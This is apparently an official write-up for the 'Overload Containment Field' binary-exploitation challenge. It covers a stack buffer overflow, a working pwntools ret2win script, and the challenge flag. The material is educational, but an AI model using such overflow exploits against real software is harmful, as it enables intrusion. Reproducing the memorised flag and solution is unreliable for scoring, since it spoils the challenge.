

Overload Containment Field

MIRAGE 2.0 — Binary Exploitation — Official Writeup

CATEGORY	DIFFICULTY	FILES
Binary Exploitation (Pwn)	Easy	containment_field
DEPLOYMENT	VULNERABILITY	STATUS
Offline binary — run locally	Stack buffer overflow → ret2win	Solved

Challenge Premise

The binary presents itself as a Power Stone containment field controller. The objective, per the challenge brief, is to “induce a catastrophic overload in the containment field controller to drop the barriers.” The program prints a banner, warns that overload protocols are active, and asks the operator to calibrate a new power level by typing a line of input.

Reversing the Binary

The binary is a small, non-stripped, dynamically linked x86-64 ELF. Reading it with `objdump -d -M intel` shows a function `configure_field()` that reads directly into a fixed-size stack buffer:

```
configure_field():
    char buf[64];           // rbp-0x40, frame only reserves 0x40
    puts("...");
    read(0, buf, 0x100);    // <-- reads up to 256 bytes into a 64-byte buffer
```

The `read()` call never checks the amount of data against the buffer size. There is no stack canary and no PIE in this binary, so a classic stack-smashing return-address overwrite is possible with no leak required.

A second, interesting detail: static analysis of `main` shows a function called `release_containment_field()` at address `0x40123b` that is never called from anywhere in normal program flow. Decompiling it shows it prints two banner lines, then XOR-decodes a 36-byte embedded buffer with the single-byte key `0x55` and prints the result byte-by-byte before exiting — this is the challenge’s “win function”, holding the flag in encoded form so it never appears in `strings` output.

Exploitation

Because `configure_field()`’s stack frame is only `0x40` (64) bytes before the saved RBP, the classic offset applies:

- Bytes 0–63: the 64-byte `buf` — filled with junk.
- Bytes 64–71: the saved RBP — filled with junk (its value doesn’t matter here).
- Bytes 72–79: the saved return address — overwritten with the address of `release_containment_field()` (`0x40123b`), little-endian.

Total payload: 80 bytes, safely under the 256-byte read cap. When `configure_field()` returns, execution jumps straight into the hidden win function instead of back into main.

Participant Solve Steps

```
from pwn import *

io = process('./containment_field')
payload = b'A' * 64      # pad to saved RBP
payload += b'B' * 8      # saved RBP (junk)
payload += p64(0x40123b) # release_containment_field()
io.sendline(payload)
io.interactive()
```

Running this against the binary triggers `release_containment_field()`, which XOR-decodes and prints the flag.

FLAG

```
MIRAGE{w3lc0m3_t0_th3_r3t2w1n_w0rld}
```

Verification

Verified two independent ways: (1) statically XOR-decoding the embedded byte array by hand with key 0x55, and (2) dynamically running the exploit above inside a Linux x86-64 sandbox. Both produced the identical flag string.